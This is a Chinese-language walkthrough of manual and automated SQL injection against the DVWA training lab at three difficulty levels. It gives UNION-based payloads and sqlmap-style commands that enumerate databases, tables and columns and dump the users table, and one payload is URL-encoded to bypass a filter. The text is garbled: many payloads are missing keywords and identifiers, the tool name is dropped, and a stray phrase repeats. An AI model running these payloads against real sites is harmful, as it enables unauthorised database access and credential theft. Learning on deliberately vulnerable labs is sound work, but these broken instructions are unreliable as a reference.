一、簡(jiǎn)單sql顯注步驟 1.先判斷是否存在注入點(diǎn)及注入的類(lèi)型。
(1)簡(jiǎn)單判斷是否有注入點(diǎn),加單引號(hào)報(bào)錯(cuò),就代表有注入的風(fēng)險(xiǎn),但是不能判斷數(shù)據(jù)是什么類(lèi)型
(2)進(jìn)一步精確判斷類(lèi)型
數(shù)字型判斷,輸入下面兩種,返回結(jié)果不一致sql 獲取當(dāng)前數(shù)據(jù)庫(kù)名,則存在數(shù)字型注入,否則不存在
1 and 1 = 1
1 and 1 = 2
例如,下面這種情況,非數(shù)字型注入
字符型判斷,輸入下面兩種,返回結(jié)果不一致,則存在字符型注入,否則不存在
1’ and ‘1’=‘1
1’ and ‘1’='2
例如 下面這種情況,是字符型注入
2.確定有注入漏洞后,根據(jù)數(shù)據(jù)類(lèi)型,使用ORDER BY 查詢列數(shù)。
(1)字符型先閉合,在輸入order by 判斷列數(shù),當(dāng)輸入n語(yǔ)句報(bào)錯(cuò)時(shí),字段列數(shù)為n-1
1’ order by 2 #(注意省略sql后面語(yǔ)句可用-- 或者#)(-- 后面有空格)
例如如下,字符型類(lèi)型,字段列數(shù)為2
1’ order by 2 #
1’ order by 3 –
(2)數(shù)字型不需要閉合,直接用order by 判斷列數(shù),當(dāng)輸入n語(yǔ)句報(bào)錯(cuò)時(shí)sql 獲取當(dāng)前數(shù)據(jù)庫(kù)名,字段列數(shù)為n-1
例如如下,數(shù)字型類(lèi)型,字段列數(shù)為2
1 order by 2 #
1 order by 3 #
3.使用union 觀察回顯的位置
union 是關(guān)聯(lián)前后多個(gè)語(yǔ)句,并把后面sql語(yǔ)句的結(jié)果和最開(kāi)始的一起展示出來(lái)。
例如
1’# 結(jié)果如下
1’ union 1,2# 結(jié)果如下,多出個(gè)顯示1,2的位置,這個(gè)是union 后面我們要查詢的數(shù)據(jù)的位置。
10’ union 1,2# 結(jié)果如下,因?yàn)?0不是數(shù)據(jù)庫(kù)里面所以只顯示了union后面的語(yǔ)句結(jié)果
4.獲取數(shù)據(jù)庫(kù)名。
(1)查詢當(dāng)前數(shù)據(jù)庫(kù)
10’ union 1,()#
(2)查詢所有數(shù)據(jù)庫(kù)
10’ union 1, from .#
5.獲取數(shù)據(jù)庫(kù)中的所有表名。
(1)查詢dvwa里面所有的表
10’ union 1, from . where = ‘dvwa’#
6.獲取數(shù)據(jù)庫(kù)的表中的所有字段名
(1)查詢user里面所有的字段名
10’ union 1, from . where = ‘dvwa’ and = ‘users’#
7.獲取字段中的數(shù)據(jù)。
(1)查詢user,的數(shù)據(jù)
10’ union user, from dvwa.users#
二、【dvwa】SQL 手動(dòng)測(cè)試記錄 1.低級(jí)
get請(qǐng)求,直接在搜索框里面寫(xiě)需要注入的數(shù)據(jù)就行,下面是id后面跟的參數(shù)
后面直接跟參數(shù),url即可
1.有哪些庫(kù)
手動(dòng)
1’ union 1, from .#
工具
-u “#” -- ‘內(nèi)容’ --dbs --batch
2.有哪些表
手動(dòng)
1’ union 1, from . where = ‘dvwa’#
工具
-u “#” -- ‘內(nèi)容’ -D dvwa --
3.有哪些字段
手動(dòng)
1’ union 1, from . where = ‘dvwa’ and = ‘users’#
工具
-u “#” -- ‘內(nèi)容’ -D dvwa -T users --
4.字段內(nèi)容
手動(dòng)
1’ union user, from dvwa.users#
工具
-u “#” -- ‘內(nèi)容’ -D dvwa -T users -C user, --dump
2.中級(jí)
post請(qǐng)求需要用到工具burp,
掃描需要(將post請(qǐng)求包放在1.txt文檔里面)
1.有哪些庫(kù) dbs
手動(dòng)
1 union 1, from .#
工具
-r /1.txt --dbs --batch
2.有哪些表
手動(dòng)
1 union 1, from . where = ()
工具
-r /1.txt -D dvwa --
3.有哪些字段(十六進(jìn)制繞過(guò),或者整體url編碼繞過(guò))
手動(dòng)
1 union 1, from . where = () and = #
%31%20%61%6e%64%20%31%3d%32%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%20%63%6f%6c%75%6d%6e%5f%6e%61%6d%65%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6f%6c%75%6d%6e%73%20%77%68%65%72%65%20%74%61%62%6c%65%5f%73%63%68%65%6d%61%3d%20%64%61%74%61%62%61%73%65%28%29%20%61%6e%64%20%74%61%62%6c%65%5f%6e%61%6d%65%3d%20%30%78%37%35%37%33%36%35%37%32%37%33%20%23
工具
-r /1.txt -D dvwa -T users --
4.字段內(nèi)容
手動(dòng)
1 union user, from dvwa.users #
工具
-r /1.txt -D dvwa -T users -C user, --dump
3. 高級(jí)
1.有哪些庫(kù) dbs
手動(dòng):需要抓兩個(gè)頁(yè)面,一個(gè)是提交數(shù)據(jù)的,一個(gè)是發(fā)送數(shù)據(jù)的
1’ union 1, from .#
工具
-r /1.txt --dbs --batch
2.有哪些表
手動(dòng)
1’ union 1, from . where = ‘dvwa’#
工具
-r /1.txt -D dvwa --
3.有哪些字段
手動(dòng)
1’ union 1, from . where = ‘dvwa’ and = ‘users’#
工具
-r /1.txt -D dvwa -T users --
4.字段內(nèi)容
手動(dòng)
1’ union user, from dvwa.users#
工具
-r /1.txt -D dvwa -T users -C user, --dump